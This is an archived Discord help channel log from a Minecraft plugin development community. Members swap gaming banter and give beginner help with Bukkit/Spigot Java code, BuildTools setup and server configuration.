#help-development

1 messages ยท Page 1745 of 1

glossy venture
#

etc

#

not just the protocol

#

to make it work :/

lost matrix
#

There is a project that just has enough packet handling for a limbo where players are trapped and wait in a queue. Its written in C++

lavish hemlock
#

...would I also have to implement AI logic?

glossy venture
#

yeah

lavish hemlock
#

god fucking damnit

glossy venture
#

inventory logic

#

chunk loading

#

data storage

#

all kinds of shit

#

well its not needed to be able to join

#

you could make a server with just chat capabilities

lavish hemlock
#

true

#

but I'd want to implement the full thing bc I'm ambitious

glossy venture
#

yeah good luck

#

maybe try an older version first

lavish hemlock
#

I think I'll just like

#

do some other stuff in Rust before I even think of doing that

glossy venture
#

but rust is a native language right

lavish hemlock
#

especially AI logic.

glossy venture
#

compiles to binary

lavish hemlock
glossy venture
lavish hemlock
#

well Java compiles to binary too, just not native

glossy venture
#

just messing with AI

lavish hemlock
#

ok yeah but I don't know algorithms lmao

glossy venture
#

i think

lavish hemlock
#

I am terrible at math and AI requires that

glossy venture
#

no but imagine making skeletons jump off cliffs when they find them

lavish hemlock
#

like uhhh

#

for instance, pathfinding algorithms

glossy venture
#

yeah

lost matrix
lavish hemlock
#

I can't think of how to do that at all

lost matrix
#

Maybe Theta*

lavish hemlock
#

isn't A* slow?

#

and also that's just one example

lost matrix
lavish hemlock
#

(plus I'd have to figure out how to apply A* to Minecraft's world)

#

but there's other parts that require math too

#

I think I'd have to implement worldgen

#

and I've actually looked into the worldgen code

it's fucking HUGE

#

there's so many classes and yes it does use math

lost matrix
#

OpenSimplexNoise for terrain generation

lavish hemlock
#

this feels like we're getting really far from vanilla tho

#

but still

glossy venture
#

i wanted to make my own terrain generator

lavish hemlock
#

there's different classes for doing shit in Minecraft

#

like generating features, biomes, etc.

lost matrix
#

Vanilla also uses SimplexNoise ๐Ÿ˜„

glossy venture
#

but patches of stuff that crossed chunk borders were a big problem

lost matrix
#

And A*

lavish hemlock
lost matrix
#

Ever

glossy venture
#

at least in bukkit

lavish hemlock
#

I thought it used Perlin noise

glossy venture
#

simplex is perlin right

lavish hemlock
#

no

glossy venture
#

simalar

lost matrix
#

Perlin noise is "Car" Simplex nois is "BMW"
Its just a specific perlin noise implementation

lavish hemlock
#

if you compare Simplex world generators (from Fabric or whatever) to Minecraft's default generation

#

they are quite different looking

glossy venture
#

minecraft uses multiple noise layers

#

to add detail

lavish hemlock
#

well then that's another implementation detail I have to add too

glossy venture
#

yep

lavish hemlock
#

have you factored how much research this would also require?

#

this would take me a long time

glossy venture
#

otherwise u would get boring, smooth terrain

lavish hemlock
#

and I'd still have to do a bit of math

lost matrix
#

You can overlay thousands of noise layers to create very very different results with the same noise algo

glossy venture
lavish hemlock
#

there is no way to avoid math in this situation

glossy venture
#

true

#

but for basic movement u need math too

#

so theres no way to avoid it

#

lmao

lost matrix
#

Its just too much work for a single person

lavish hemlock
#

you underestimate me

lost matrix
#

Imagine the pain when updating to a new version...

glossy venture
#

starting with an older version could be possible

#

as it doesnt have that many features

#

like 1.0

#

or some beta

lavish hemlock
#

alternatively I could just only implement chat stuff

glossy venture
#

yeah

lavish hemlock
#

glorified chat client lol

lost matrix
#

Write an ultra high performance 1.8 pvp server

glossy venture
#

discord but minecraft

glossy venture
lavish hemlock
#

I'd totally add support for (some of) Markdown

lavish hemlock
#

it's a self-explanatory term

glossy venture
#

yeah

#

but its not a specific type of software

lost matrix
#

Nobody uses 1.8 but fortnite starved pvp kiddies

glossy venture
#

you need all other components to create a pvp server

lavish hemlock
#

AKA literally everyone who plays on any server with PVP elements lol

#

Hypixel uses 1.8 and it's filled with children

glossy venture
#

like me lmao

lavish hemlock
#

you go to SkyWars and you find people trying to be cool for their shitty YT montages

glossy venture
#

well i havent played bw in a while

#

i only did bedwars

stone sinew
#

I use 1.8 when i don't want to wait forever for my server to start ๐Ÿ˜‰

lavish hemlock
#

you go to Classic Games, TNT Games, or any of the other obscure gamemodes

#

and you find fucking E-daters

#

(not a joke btw that is actually true)

glossy venture
#

wait what

lavish hemlock
#

I found E-daters in TNT Tag once bc it's like the only thing I play on that server anymore lmao

#

oh yeah also

#

it's easy to find no-lifers on there too

#

just go to SkyBlock :)

#

that entire gamemode is a fucking grind

glossy venture
#

i dont likek skyblock

lavish hemlock
#

I literally played that thing for 3 hours and got nowhere

glossy venture
#

but its impressive how advacned it is

lavish hemlock
#

yeah

#

also you should get a better keyboard
or better hands

glossy venture
#

and how much content they were able to code with just server side plugins

glossy venture
#

better brain

#

actually

lavish hemlock
#

apparently Hypixel has "SMP" now

#

you can host your own survival servers or smthn

#

but it's in beta and only accessible to those with ranks

#

thing is

#

gimme a sec

glossy venture
#

yeah

#

i heard

lavish hemlock
#

(btw what the fuck is The Pit even supposed to be)

#

(like, it's not Battle Royale, it's literally just senseless PVP)

#

(even Duels looks more fun)

#

(how did this shit win over fucking King of the Hill?!)

#

(or whatever that gamemode was called, that shit was fun)

glossy venture
#

king of the hill?

lavish hemlock
#

one of their experimental gamemodes

glossy venture
#

i think its in party games

#

oh

lavish hemlock
#

it got cut bc not enough people liked it

glossy venture
#

sounds fun

lavish hemlock
#

it WAS fun

#

I loved it

glossy venture
#

its in party games

#

as a minigame

lavish hemlock
#

nah that's a different one

glossy venture
#

oh

#

yeah i know

lavish hemlock
#

this one had like powerups and kits and shit

glossy venture
#

rlly

lavish hemlock
#

yep

#

and it was mainly a PVP game

#

oh ye you could also build

#

you could build walls and shit to keep your enemies out

#

and they could break 'em down

glossy venture
#

that sounds so fun

lavish hemlock
#

and there was a center tower which would grant whoever stood on it longer a win

#

and there were two side towers that would give passive buffs to those who claimed it

glossy venture
#

imagine recreating that

lavish hemlock
#

BUT THEY FUCKING SCRAPPED IT

glossy venture
#

with plugins

lavish hemlock
#

IN FAVOUR OF THEIR SHITTY CAPTURE THE FLAG CLONE

glossy venture
#

lmfao

lavish hemlock
#

THAT MODE WAS UNFUN AS FUCK

glossy venture
#

nice

lavish hemlock
#

and I didn't even give them a single dollar

#

I begged my friends to when I was younger

#

hell yeah

glossy venture
#

nice

#

lmaoo

#

i was thinking abt buying rank

#

but then i somewhat stopped playing

lavish hemlock
#

yeah me too

#

Hypixel is kinda shit

#

I'm not a big PVP fan so

#

I don't play any of their PVP-centric games

#

and nobody plays their non-PVP-centric games

#

except for Murder Mystery, but that gets old when you've played like 200 games of it

#

(which I probably have)

glossy venture
#

i like pvp games

#

or liked

#

idk

lavish hemlock
#

oh but their seasonal games are sometimes fun

glossy venture
#

havent played them in a while

lavish hemlock
#

I am a fucking pro at Grinch Simulator

#

it's kinda just a memory game tho

dark osprey
#

๐Ÿ˜†

glossy venture
#

are they always at the same plac3e

lavish hemlock
#

oh ye and I never play Build Battle cuz I'm really bad at building lmao

glossy venture
#

same

lavish hemlock
glossy venture
#

bruh

lavish hemlock
#

so I basically just go to the most stocked house

#

grab literally all presents in it

#

repeat

#

and I win 70% of the time

#

oh ye

#

but most of their Arcade Games are fun

#

Party Games is a great game (most of the time)

glossy venture
#

yeah

#

im horrible at it

#

though

lavish hemlock
#

Zombies is actually fun and it reminds me of this really old Minecraft mod that I liked a long time ago

#

HOLE IN THE WALL IS FUCKING UNDERRATED BTW

#

Hypixel Says is basically their WarioWare clone but it was fun when I played it like 3 years ago or smthn

#

etc etc

#

now

#

SkyWars, BedWars, and Duels are filled with sweaty tryhards

#

and are only fun to play with friends

glossy venture
#

yeha

lavish hemlock
#

or if you actually put up with and are good at the shitty system that is 1.8 PVP

#

I never wanted to practice that shit

#

the fact that you have to practice a PVP system to have any chance at actually doing good is mindboggling

glossy venture
#

ive been playing bedwars for over 3 years or so

lavish hemlock
#

I'm like a co-op BedWars lad

#

although I haven't played it in forever

#

but I'm mainly like

glossy venture
#

got pretty decent at it

#

with friends its fun

lavish hemlock
#

the stay-at-home dad of the base lmao

#

so I just protect the bed

glossy venture
#

lmao

lavish hemlock
#

I was alright at PVP for a while

#

but y'know rust like eventually seeps in when you don't play for years

#

and I found certain stuff just plain unfun to practice or even do

#

like fishing rods, strafing, double-clicking

#

but that's all pretty much required if you want any chance at winning

#

it just feels like a game of luck tbh

#

I typically outsmart my opponents in BedWars via hitting them off of bridges

#

but most of the time people can clutch and just fucking bridge at lightspeed and then fuck you over

#

so honestly not even fun

glossy venture
#

im bad at plain pvp

lavish hemlock
#

HOW DO PEOPLE BRIDGE THAT FAST BTW?

glossy venture
#

you mean ninja/speedbridging?

lavish hemlock
#

yeah

glossy venture
#

i can do that

#

a lot of practice

lavish hemlock
#

I dislike you now

glossy venture
#

a lot

quaint mantle
#

allow them to do even more thing?

lavish hemlock
#

speedbridging is annoying to look at imo

glossy venture
#

why

lavish hemlock
#

superiority complex mainly bc people can bridge faster than you can sprint

#

so most of the time PVP just ends up feeling unfair

#

especially when you're matched up with no-lifers

quaint mantle
lavish hemlock
#

who are combo + bridging gods

glossy venture
quaint mantle
#

it is like timings 1 second to count seconds without a clock

quaint mantle
#

fast

#

then perfect one

lavish hemlock
#

plus I'm kinda just awful with my hands lmao

quaint mantle
#

then maybe it does take practice, but i dont think it takes that much

lavish hemlock
#

and I get disoriented quickly

glossy venture
#

on my mouse

#

maybe just the shape

quaint mantle
#

im kinda cracked at builduhc ngl

glossy venture
#

but i get like 11 cps

lavish hemlock
#

(which is why I'm better than my friends at rhythm games but could never be as good as my parents are, they're fucking BEASTS)

#

man I get like 2 or smthn idk

quaint mantle
#

but not that much if u compare to normal players in uhc duel

lavish hemlock
#

gimme a sec I'mma measure my CPS

glossy venture
#

nice

lavish hemlock
#

6.4

#

also

#

my muscles tense up easily

#

like, for some reason, I am more relaxed in the middle of a game than I am with aim trainers?

#

like AimLab for some reason

#

can't control it either

#

my arm just like stiffens and so my aim just gets way slower

#

you can never hide

#

I see everything.

quaint mantle
#

btw i think we should change the channel to #general

lavish hemlock
#

prooobablllyyy

glossy venture
#

i gtg

lavish hemlock
lavish hemlock
glossy venture
#

cya

barren nacelle
#

?learnJava

#

?learnjava

undone axleBOT
quaint mantle
#

Hey
Where is define a player UUID in Bukkit/CraftBukkit ?

buoyant viper
#

?help

undone axleBOT
#
CafeBabe Help Menu
*Red V3*
**__Admin:__**

selfrole Add or remove a selfrole from yourself.

**__Cleanup:__**

cleanup Base command for deleting messages.

**__Core:__**

embedset Commands for toggling embeds on or off.
info Shows info about CafeBabe.
licenseinfo Get info about Red's licenses.
mydata Commands which interact with the data CafeBabe has about...
set Commands for changing CafeBabe's settings.
uptime Shows CafeBabe's uptime.

**__Downloader:__**

findcog Find which cog a command comes from.

**__Mod:__**

names Show previous names and nicknames of a member.
userinfo Show information about a member.

**__ModLog:__**

listcases List cases for the specified member.
reason Specify a reason for a modlog case.

**__Permissions:__**

permissions Command permission management tools.

buoyant viper
#

?commands

sand rune
#

I need a 5 Months to 1 year experience Arabic Developer

#

Spigot

plain helm
#

this is not the right place to hire developers ๐Ÿ™‚

lavish hemlock
#

why specifically Arabic?

#

that sounds kinda r a c i s t

#

if you ask me

acoustic pendant
last ledge
#
            FirstBook_meta.setLore(ChatColor.translateAlternateColorCodes('&', FirstBook_lore));
            FirstBook.setItemMeta(FirstBook_meta);```

ah it says it needs String Value for setting lore
#

but

lavish hemlock
#

?services

undone axleBOT
lavish hemlock
#

that's where you hire devs ^

last ledge
#

i will have to use List

#

to get list of lores

#

how do i fix it

acoustic pendant
#

oh

young knoll
#

You are trying to translate colors on a list

lavish hemlock
#

also

young knoll
#

Which will return a single string

lavish hemlock
#

there is so much wrong here

#

List should not be used like that

#

add a type parameter to it

last ledge
#

can you give me small example?

lavish hemlock
#

List<String>

#

otherwise adding/retrieving from it can only return/require Object

#

and you have to cast it manually

#

which is not only bad practice, but I believe invalid if something requires a List<String>

#

also

last ledge
#
            FirstBook_meta.setLore(ChatColor.translateAlternateColorCodes('&', FirstBook_lore));
            FirstBook.setItemMeta(FirstBook_meta);```
lavish hemlock
#

FirstBook, FirstBook_lore, and FirstBook_meta are unconventional variable names.

#

for one, all variable names should be stylized as camelCase with no underscores

last ledge
#

ah ok

lavish hemlock
#

and even then, just use lore and meta?

#

shorter variable names are preferred

last ledge
#

ah, ok i will keep that in mind

lavish hemlock
#

you have to put a space after > for one :p

last ledge
#
            FirstBook_meta.setLore(ChatColor.translateAlternateColorCodes('&', FirstBook_lore));
            FirstBook.setItemMeta(FirstBook_meta);```
lavish hemlock
#

I said AFTER JUST >

#

not after < AND >

last ledge
#
            FirstBook_meta.setLore(ChatColor.translateAlternateColorCodes('&', FirstBook_lore));
            FirstBook.setItemMeta(FirstBook_meta);```
lavish hemlock
#

alright

last ledge
#

now?

old cloud
lavish hemlock
#

you can't pass a list to translateAlternateColorCodes

last ledge
#

so what do i do

lavish hemlock
old cloud
#

Thats right

quiet ice
#

in that case you should rename the variables

lavish hemlock
#

yep

#

I'm beginning to think this guy doesn't use an IDE

last ledge
#

Villain entries be like:

lavish hemlock
#

well

#

he looks like he does know Java

#

kind of

old cloud
#

How can I send custom data from Bungeecord to all subservers? Is it only possible with the plugin messaging channel?

lavish hemlock
#

and also in all fairness it's not obvious how one would efficiently apply an operation to every element in a list

quiet ice
#

yep, or some hacky nio stuff

lavish hemlock
#

you could either use a ListIterator or stream() I believe

quiet ice
#

.foreach()!

lavish hemlock
#

forEach cannot modify anything.

#

It would likely throw a CME if you tried.

old cloud
lavish hemlock
#

fair

quiet ice
#

jut put it in another intermediary list

lavish hemlock
#

less locals

lavish hemlock
#

one less object instantiation

#

and it's only just a quick iteration

old cloud
quiet ice
#

On the subserver

old cloud
#

Ok thanks

lavish hemlock
#

(granted idk if listIterator returns a new iterator, if so, then it's still the same number of instantiations, but at least you're not instantiating a medium-weight object like a List)

quiet ice
#

yeah, only read the message halfway, my bad

last ledge
#

Hope everyone is now happy with variable names

            ItemMeta firstBook_Meta = FirstBook.getItemMeta();
            String firstDisplay = plugin.getConfig().getString("Books.First.Title");
            firstBook_Meta.setDisplayName(ChatColor.translateAlternateColorCodes('&', firstDisplay));
            List<String> firstBook_Lore = plugin.getConfig().getStringList("Books.First.lore");
            firstBook_Meta.setLore(ChatColor.translateAlternateColorCodes('&', firstBook_Lore));
            FirstBook.setItemMeta(firstBook_Meta);```
quiet ice
#

pretty sure listIterator extends iterator, but idk

ancient plank
#

spacing makes my eyes hurt

fallow merlin
#

I know how to code!

System.out.println("Hello world!");

thats it thats all of it

lavish hemlock
#

so what you mean is ListIterator extends Iterator

last ledge
#

tf

quiet ice
#

yeah that

last ledge
#

i did that

lavish hemlock
#

but the primary benefit of ListIterator is that it allows you to set an element at the current position

ancient plank
quiet ice
ancient plank
#

ItemStack FirstBook = new ItemStack(Material.BOOK); and that ^

last ledge
lavish hemlock
#

you'd probably want book (or book1), meta, and lore

#

I still generally scold for improper convention

last ledge
#

yes now pls help, help me with real issue

lavish hemlock
#

it's a sign of amateurishness

last ledge
#
            ItemMeta firstBook_Meta = FirstBook.getItemMeta();
            String firstDisplay = plugin.getConfig().getString("Books.First.Title");
            firstBook_Meta.setDisplayName(ChatColor.translateAlternateColorCodes('&', firstDisplay));
            List<String> firstBook_Lore = plugin.getConfig().getStringList("Books.First.lore");
            firstBook_Meta.setLore(ChatColor.translateAlternateColorCodes('&', firstBook_Lore));
            FirstBook.setItemMeta(firstBook_Meta);```
#

using color codes

lavish hemlock
#

and, if you look at other people's code that uses proper convention, you may have a rougher time reading it

last ledge
#

from config

fallow merlin
lavish hemlock
#

jesus christ

#

I feel pain inside my soul

last ledge
#

hurts my brain

#

lmao

fallow merlin
#

the more words the less case I can use

last ledge
#

yes ofc

#

ppl enters color codes as lore in config.yml

#

i just want to convert them to colors

#

simple af

quiet ice
#
List<String> unformattedLore = /* obtain it */;
List<String> formattedLoreList = new ArrayList<>();
for (String s : unformattedLore) {
   formattedLoreList.add(ChatColor.translateAlternateColorCodes('&', s));
} 

you get the gist

#

well, it's only halfway done

#

You still need to actually use that example

quiet ice
#

And hey, what other way are you going to teach them how to do it?

#

"oh hey, use this overcomplicated and very expensive API that is called Stream"

last ledge
#

this is third party api dude

#

only java wont help

#

doc is trash

#

why is this help development then

ancient plank
#

I usually just tell them the process

lavish hemlock
#

But it is definitely an expensive API.

ancient plank
#

then they can write the code themselves

lavish hemlock
#

The primary benefit of Stream is that it is able to be lazily-evaluated, but for something like a List, that doesn't matter since Lists are created eagerly anyways.

ancient plank
#

now now

warped sage
#

Are we allowed to keep references to OfflinePlayer objects?

quiet ice
#

I think they will not see my message anyways

#

It's okay, I'm not the one that has to stay with them

lavish hemlock
#

I'd personally write it as

final List<String> lore = /* yabba dabba */;
final ListIterator it = lore.listIterator();
while (it.hasNext()) {
    it.set(ChatColor.translateAlternateColorCodes('&', it.next());
}

honestly

#

but y'know
I try to be a perfectionist lmao

little trail
lavish hemlock
#

even then I'd probably separate this into a utility function like ListUtils::map or smthn

#

is my code already in a different thread
probably not

little trail
#

the word for that is spoonfeeding, you dont learn when you get spoonfed

lavish hemlock
#

you may want to learn basic concurrency honestly

warped sage
lavish hemlock
#

but yeah Executors works nicely for that

little trail
lavish hemlock
#

oh

#

Baeldung probably

little trail
#

wheres the best place to learn how to create a different thread for stuff

last ledge
#
            List<String> formatted = new ArrayList<>();
            for (String s : firstBook_Lore) {
                formatted.add(ChatColor.translateAlternateColorCodes('&', s));
            }
            firstBook_Meta.setLore(formatted);```
lavish hemlock
last ledge
#

this will work?

lavish hemlock
#

Very good selection of guides on the high-level and low-level forms of concurrency within Java.

fallow merlin
#

I don't learn I just do and it works and I don't know how and I don't wanna know how

last ledge
#

u were abt to leave?

little trail
#

you cant disagree with spoonfeeding is bad

quiet ice
#

I do.

lavish hemlock
#

spoonfeeding is situational

little trail
#

its kinda a solid thing

lavish hemlock
#

I actually learn from it sometimes bc I take the time to analyze code snippets but

#

it doesn't apply to everyone

last ledge
#

examples gives us idea, how things work

fallow merlin
#

spoonfeeding is only okay if someone makes it filled to the brim with explanations and the person who ctrl+c ctrl+v's them actually reads it

last ledge
#

so that we can implement

little trail
#

examples do yes

last ledge
#

on future codes

little trail
#

but not spoonfeeding

lavish hemlock
#

the more comments, the more detail, and the harder it is to copy-paste stuff

ancient plank
little trail
#

if they dont know the basics of java theres no luck spoonfeeding is there

fallow merlin
last ledge
#

who said dont know sir? I asked what the way, if u can give example

quiet ice
#

I mean, someone has to show them what a for loop is

glossy venture
#

with )

last ledge
#

can u show me

#

where i said

lavish hemlock
#

oh shit

last ledge
#

i dk

lavish hemlock
#

nice catch, orby

#

I actually checked that line to make sure there were the correct number of parentheses but I neglected the set( at the start :p

last ledge
#

@quaint mantle ping me if u find where i said no

#

gtg

lavish hemlock
#

peace out

little trail
#

do mc servers have some sort of uuid i can identify them with or not

lavish hemlock
#

this sounds hard to answer

#

for one, how would you interact with a server to begin with?

glossy venture
last ledge
#

wow, do u see the Saturn up in the sky??? no right? does this mean, Saturn doesn't exist?

lavish hemlock
#

are you referring to BungeeCord stuff or smthn?

little trail
#

ok thank you

warped sage
#

ip and port?

little trail
#

thats literally all i needed

#

a yes or no

glossy venture
quiet ice
glossy venture
#

but no mojang related UUID

lavish hemlock
little trail
#

yes thats all i needed ty

lavish hemlock
#

hey hey @timid warren just drop it

#

go to another channel or smthn

last ledge
#

waiting for the day to get fucked ๐Ÿ™‚

lavish hemlock
#

you're not getting paid to answer questions lol

quiet ice
#

What the hell am I seeing here

little trail
#

yes ill just identify with ip

ancient plank
#

?ban 755325501035249726 lol ok

undone axleBOT
#

Done. That felt good.

little trail
#

annoying for stuff like minehut but

quiet ice
#

(make sure to re-hash it if required though)

lavish hemlock
#

like I get that he was an unverified who just had a burst of rage but that seems more kick/muteworthy

quiet ice
#

yeah, I'd say so too

ancient plank
#

?unananaanananana my fingergs can't TYPE

#

?unban 755325501035249726

undone axleBOT
#

Unbanned that user from this server.

ancient plank
#

there u go

lavish hemlock
#

...huh

ancient plank
#

i just wanted to clear his messages

lavish hemlock
#

did not expect you to actually unban him

#

ah, you should add a purge command or smthn then

#

but like I was expecting this shit to get all admin-abusey... my faith has been partially restored in humanity???

ancient plank
#

i think there is but I always forget the name because it isn't ?purge or ?clear

#

I think its clean SC_ZERO_THINK

fallow merlin
# lavish hemlock comment the fuck out of that shit yep
/*This line of code defines the package that the file should be in so the compiler knows what to do with it and where to put it*/
package com.urmom.minecraftplugin

/*This tells the compiler to do black magic that makes things not throw errors*/
import org.bukkit.Bukkit;

/*This is a class and it's where the stuff goes that gets ran at runtime probably*/
/*extends means that it uses all the magic from the class with that name*/
public class ploogin extends JavaPlugin {
  /*the magic stuff goes in here*/
  /*@Override means that it overrides a method that exists in the super class*/
  @Override
  /*this is a void, it returns nothing*/
  public void onEnable() {
    /*System.out is the class println is the method. The parentheses mean ur invoking the method with the variables inside*/
    System.out.println("Hello, World!");
  }
}
#

๐Ÿค”

lavish hemlock
#
/*This tells the compiler that it needs to use another package from somewhere else*/
import org.bukkit.Bukkit;

false

fallow merlin
#

idk man

lavish hemlock
#

it provides a shorthand for the class name for the compiler

fallow merlin
#

it does magic

lavish hemlock
#

imports are compile-time only

ancient plank
#

pls dont whrite that many comments on an sout

fallow merlin
#

no

lavish hemlock
#

gimme a sec

fallow merlin
fallow merlin
wide creek
#

i did a refractor on the Main.java and I updated the plugin.yml too. Have I something else to update ?

fallow merlin
#

if not you don't have anything else to update

wide creek
#

yes it does

#

org.bukkit.plugin.InvalidPluginException: Cannot find main class 'me.enderf5027.perplayerborder.Main'

fallow merlin
#

is your main class called main

wide creek
#

it was

fallow merlin
#

err Main

wide creek
#

i just did a refactor on Main for call it PerPlayerBorder (the name of my plugin)

ancient plank
#

"it was" you have to change your plugin.yml to match your main class name and location :)

wide creek
#

I did

fallow merlin
#

in plugin.yml there should be a line that says main: <your plugin main>

#

change that to the new plugin main

wide creek
#
name: PerPlayerBorder
version: '${project.version}'
main: me.enderf5027.perplayerborder.PerPlayerBorder
api-version: 1.17
prefix: PerPlayerBorder
authors: [ EnderF5027 ]
fallow merlin
#

interesting

ancient plank
#

did you put in a recompiled plugin jar after making that change

wide creek
#

yes

fallow merlin
#

and the package at the top of PerPlayerBorder.java is

package me.enderf5027.perplayerborder;
```right?
wide creek
#

yes

fallow merlin
#

then I have no idea whats happening

#

ok then moderation bot

wide creek
#

I eliminated by myself the message

fallow merlin
#

oh

#

aight

wide creek
#

i want to upload it as .txt

young knoll
#

?paste

undone axleBOT
hardy agate
#

hastebin

wide creek
fallow merlin
#

maowcraft is really working on the most overcommented code ever huh

wide creek
#

yes he's writing his message for 8 minutes

fallow merlin
#

gonna be a 10/10 spoonfeeding job

wide creek
#

his cat on the keyboard maybe

fallow merlin
#

nop definitely typing that code out

wide creek
#

so, im going to update my code on GitHub because i need to save it

lavish hemlock
#

Boom.

#

44 lines, bitches.

#

And only 6 of them aren't comments.

#

Plus it's literally 5 fucking kilobytes lmao.

fallow merlin
#

amazing

#

Spoonfeeding 100

lavish hemlock
#

I essentially just wrote like

#

a small Java guide

#

out of a Bukkit Hello World

fallow merlin
#

and the hello world isn't even using bukkits logger

lavish hemlock
#

yep

fallow merlin
#

frickin hilarious

lavish hemlock
#

I'd have added 11 extra lines if it actually used Bukkit's logger.

#

actually no

#

probably 21

#

bc I'd assign it to a field to better explain fields/variables

#

and then also comment the assigning of it

#

honestly I should probably just get to work on that one Java guide I wanted to write a few months ago lmao

fallow merlin
#

bro u didn't explain the semi-colon

lavish hemlock
#

oh

fallow merlin
#

or the brackets

lavish hemlock
#

eh

#

I didn't explain syntax at all actually

#

just semantics

#

in all fairness, syntax doesn't need to be explained unless you're working directly with it, e.g. via a lexer.

fallow merlin
#

this does that because compiler does black magic and turns english + punctuation into other black magic

#

which does more black magic with ur lightning box to make shiny pixels go brrr

vestal matrix
#

so i have a command that takes text as an input but the text could be like 3 - 10 words so how can i make an argument support that? if i just made the command have 1 arg it would only take the 1st word

lavish hemlock
#
// ; = End of line.
// { = Start of a 'body', where statements can be declared depending on what the body belongs to, e.g. instructions can be declared only by method bodies.
// } = End of a body.
fallow merlin
#

Java - explained as html

fallow merlin
lavish hemlock
#

you'll want to check the length of args first

vestal matrix
#

yeah but i dont know how many arguments it will contain

lavish hemlock
#

oh also

#

that's a terrible solution lmao

fallow merlin
fallow merlin
fallow merlin
lavish hemlock
#

it's fixed-size

#

even if you check length, you'll have to do that repeatedly for each possible length

#

which is not only inefficient, but time-consuming

fallow merlin
#

accomplishing nothing dont mind me```java
String argument = null;
for (int i; i < args.length; i++) {
argument.append(args[i]);
}

quaint mantle
#

Or the other method that was mentioned

fallow merlin
lavish hemlock
#

how do you suggest you use argument then?

#

you're sort of back where you-

fallow merlin
#

exactly

lavish hemlock
#

well that works but you can't String::append

#

you can only StringBuilder::append

fallow merlin
#

close enough

lavish hemlock
#

even then a String argument; would be undefined

#

(not the same as null btw)

#

so it would throw a compiler error

#

you actually want

fallow merlin
#

beautify my code I let the compiler do the work

lavish hemlock
#
StringBuilder sb = new StringBuilder();
for (arg : args) {
    sb.append(arg).append(' ');
}
fallow merlin
#

args[number]

lavish hemlock
#

it's the same thing

#

foreaches are syntactical sugar

#

they're compiled down to a regular for anyways

fallow merlin
#

yea I didn't see the assignment of arg at first lol

ancient plank
#

but then I'm gonna have a space at the end!!!!!!

lavish hemlock
#

(with lists and other Iterables, it uses the iterator())

lavish hemlock
#
StringBuilder sb = new StringBuilder();
for (int i = 0; i < args.length; i++) {
    sb.append(args[i]);
    if (i != length - 1)
        sb.append(' ');
}
modern fractal
#

how do i place a "material" as a physical block?

lavish hemlock
#

you probably require an instance of the World first

#

then you can create a Block from the material iirc

#

and place that Block at specified coords using the World

#

at least I imagine that's how it would work

#

someone can fact-check for me lol

modern fractal
#

i tried Location.getBlock().setType() but it didnt work as i expected

chrome beacon
#

^ that's how you're supposed to do it

lavish hemlock
#

ah ok then

chrome beacon
#

You would need to show the entire code and explain what doesn't work

fallow merlin
#

and also what were you expecting

hardy agate
#

How does httpswww.spigotmc.orgthreadscloud-command-framework.467183 work?

modern fractal
#

i tried to recreate oneblock with this but only if i place some other block and break it then it will drop as item, and i was expecting it to replace another block right at that position where I just broke

#

Utils.Placable is a List<Material> of all placable blocks

lavish hemlock
#

placeable*

#

although placeable isn't actually a word either, according to Discord

#

but it's at least more correct than placable

fallow merlin
#

that is probably ur issue

#

right?

wide creek
modern fractal
#

i had a previous plugin which did this successfully but i spent 30min of searching and can't find it T_T

hardy agate
#

?leanjava

#

?learnjava

undone axleBOT
crimson terrace
#

How would I check if a Players inventory has at least one open slot?

plain helm
#

int a=0;
for(ItemStack i : p.getInventory().getContents()){
if(i==null){
a++;
}
}
if(a>0){

}

crimson terrace
#

nvm found it...

plain helm
#

ok

crimson terrace
#

thanks tho

fallow merlin
#

how do I use

private class b extends EntityIllagerWizard.PathfinderGoalCastSpell
```on an illusioner? its the mirror pathfinder goal and I cant use it .-.
fallow merlin
vale ember
quaint mantle
#

Everytime im moving an item in my inventory the event is returning null, Anyone know why that could be?

prime leaf
#

Delay between searching and checking world entities

#

is this a good optimization

quaint mantle
peak crown
#

How to fix this?

#

Like i search the internet, but i didnt find a solution

misty current
#

how can I run buildtools with java 8?

quaint mantle
#

java -jar buildtools.jar

#

The same for any java version

misty current
#

yeah that's what i did but how can i specify what java ver to use?

#

im tryna use it for 1.8.9 and it says it needs to be ran with java 8

waxen plinth
#

The real question is why you're using a version 7 years out of date

lavish hemlock
#

does anyone actually care anymore

#

you can do java -jar buildtools.jar --rev 1.8.9 I believe

#

ah wait

waxen plinth
#

You need to have Java 8 installed

lavish hemlock
#

well for the Java version you'd need to set your JAVA_HOME environment variable

#

and, yeah, you'd need it installed

waxen plinth
#

No you don't

#

You can just use the full path to the Java 8 binary

lavish hemlock
#

okay but who wants to do that

waxen plinth
#

To run one command?

#

Me

misty current
waxen plinth
#

It's way easier than setting Java home for one command then setting it back

misty current
#

thanks i'll try

#

jre right to run buildtools

formal dome
#

what's a typical port to bind a non minecraft server to?

ivory sleet
#

It was never a server version, only a version bump for the client

misty current
#

yea i actually wrote 1.8

#

my bad

ivory sleet
#

Alrity

quaint mantle
#

But maybe 8080

#

Or 8000

formal dome
#

okay thanks

misty current
#

anyways i dont get how to set the path

#

like where should i write t

formal dome
#

just wasn't sure if there was a typical port

proud basin
#

any port except for 25565

quaint mantle
#

Literally just anything above 2000 works

misty current
#

so this is my cmd line
java -jar BuildTools.jar --rev %Input%
how can I specify the path

#

of the jar to use

quaint mantle
#

replace java with the full path

tepid crater
#

how can i send a PacketPlayOutOpenWindow correctly? (1.17.1)
with this constructor
https://prnt.sc/1x8ov0b
the first one is the containerCounter from entityplayer right? the last one is the titlethe middle idk exactly how to get

misty current
#

smthing like C:\Program Files\Java\jre1.8.0_311 -jar BuildTools.jar --rev %Input%

quaint mantle
#

Yes

misty current
#

says its not a valid command

quaint mantle
#

Oh the path should be to the java exe

misty current
#

a kk

#

the one inside /bin i guess

quaint mantle
#

Ye

misty current
#

changed to C:\Program Files\Java\jre1.8.0_311\bin\java.exe -jar BuildTools.jar --rev %Input% still says its not a valid command

#

do i need to put it in quotes or smthing

lavish hemlock
lavish hemlock
#

there's a space in "Program Files"

misty current
#

o ye i did it

#

thanks

quaint mantle
misty current
#

changed to "C:\Program Files\Java\jre1.8.0_311\bin\java.exe" -jar BuildTools.jar --rev %Input%

lavish hemlock
#

there's a list of common port IDs corresponding to protocols on Wikipedia

golden turret
quaint mantle
#

He could do something similar with the path system variables in windows, but he's running this only once so there's no point

misty current
#

im on windows and i just needed to run buildtools once so im good

#

no need to overcomplicate

#

thanks anyways

golden turret
#

๐Ÿ™

#

this can be useful when you have multiple servers into your computer

#

but windows sucks

quaint mantle
#

True but I need it for compatibility with some programs ๐Ÿ™

golden turret
#

leave a java version for JAVA_HOME and add the scripts

#

really easy

wide creek
quiet ice
